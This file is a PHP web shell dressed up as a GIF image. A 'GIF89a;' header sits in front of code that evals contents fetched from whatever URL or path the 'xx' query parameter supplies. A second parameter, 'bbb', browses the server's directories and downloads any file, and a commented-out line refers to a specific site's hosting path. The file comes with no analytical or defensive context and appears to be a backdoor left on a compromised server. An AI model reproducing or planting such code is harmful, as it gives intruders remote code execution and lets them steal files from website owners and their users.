GIF89a;
<?php
if(isset($_GET[xx]))
{
echo eval(file_get_contents($_GET[xx]));
exit;
}
if(isset($_GET[bbb])){
$dir=trim($_GET[bbb]);
if (!is_dir($dir) && !is_file($dir)){
//$dir='/home/admin/domains/mte-media.com/public_html/';
$dir=__DIR__;
header("Location: ?bbb={$dir}");
exit;
}
if(is_file($dir))
{
// header("Content-Type: text/plain; charset=utf-8");
// echo file_get_contents($dir);
// exit;
$file_extension = strtolower(substr(strrchr($dir,"."),1));
$download_name = substr($dir,0,strrpos($dir,'_')).'.'.$file_extension;
switch( $file_extension )
{
case "pdf": $ctype="application/pdf"; break;
case "txt": $ctype="application/txt"; break;
case "exe": $ctype="application/octet-stream"; break;
case "zip": $ctype="application/zip"; break;
case "doc": $ctype="application/msword"; break;
case "xls": $ctype="application/x-msexcel"; break;
case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
case "gif": $ctype="image/gif"; break;
case "png": $ctype="image/png"; break;
case "jpeg":
case "jpg": $ctype="image/jpg"; break;
default: $ctype="application/force-download";
}
header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: " . gmdate("D,d M YH:i:s") . " GMT");
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
header ("Content-type: $ctype");
//header ("Content-type: text/plain; charset=utf-8");
header ("Content-Disposition: attachment; filename=\"" . basename($dir) . "\"" );
//header ("Content-Description: PHP/INTERBASE Generated Data" );
readfile($dir);
exit();
}
$data=array();
$back=array_filter(explode('/',$dir));
if ($dh = opendir($dir)){
while (($file = readdir($dh)) !== false){
if(trim($file)!='.'){
if($file=='..')
{
// $file='';
// $back[count($back)-2]
unset($back[count($back)]);
$back=implode('/',$back);
$data[dir][$file]= '<a href="?bbb=/'.$back.'/">'.$file.'/</a>';
$file='';
}
else{
if(is_dir($dir.$file) && $file!='')
{
$file=$file.'/';
$data[dir][$file]= '<a href="?bbb='.$dir.$file.'">'.$file.'</a>';
}
if(is_file($dir.$file) && $file!='')
$data[file][$file]= '<a href="?bbb='.$dir.$file.'" target=_blank>'.$file.'</a>';
}
}
}
closedir($dh);
}
$i=0;
echo '<table style="font-size:18px;font-style=tahoma bold;text-align:center;table-layout:fixed;width:100%;background:#d3d3d3;color:orangered;" align=center border=1><th>Directories</th><th>Files</th>';
//do{
foreach($data[dir] as $dr){
$dirs[] = trim($dr);
}
foreach($data[file] as $fl){
$files[] = trim($fl);
}
$countdir=intval(count($dirs));
$countfile=intval(count($files));
$counter = ($countdir>=$countfile) ? $countdir : $countfile;
for($i=0;$i<=$counter;$i++){
if(!isset($dirs[$i]) && isset($files[$i]))
$dirs[$i]='';
if(!isset($files[$i]) && isset($dirs[$i]) )
$files[$i]='';
if(!isset($files[$i]) && !isset($dirs[$i]) )
break;
$dd=trim($dirs[$i]);
$ff=trim($files[$i]);
echo '<tr><td>'.$dd.'</td><td>'.$ff.'</td></tr>';
}
//}while(isset($data[dir][$i]) || isset($data[dir][$i]));
//echo implode('<br>',$data[dir]);
//echo implode('<br>',$data[file]);
exit;
}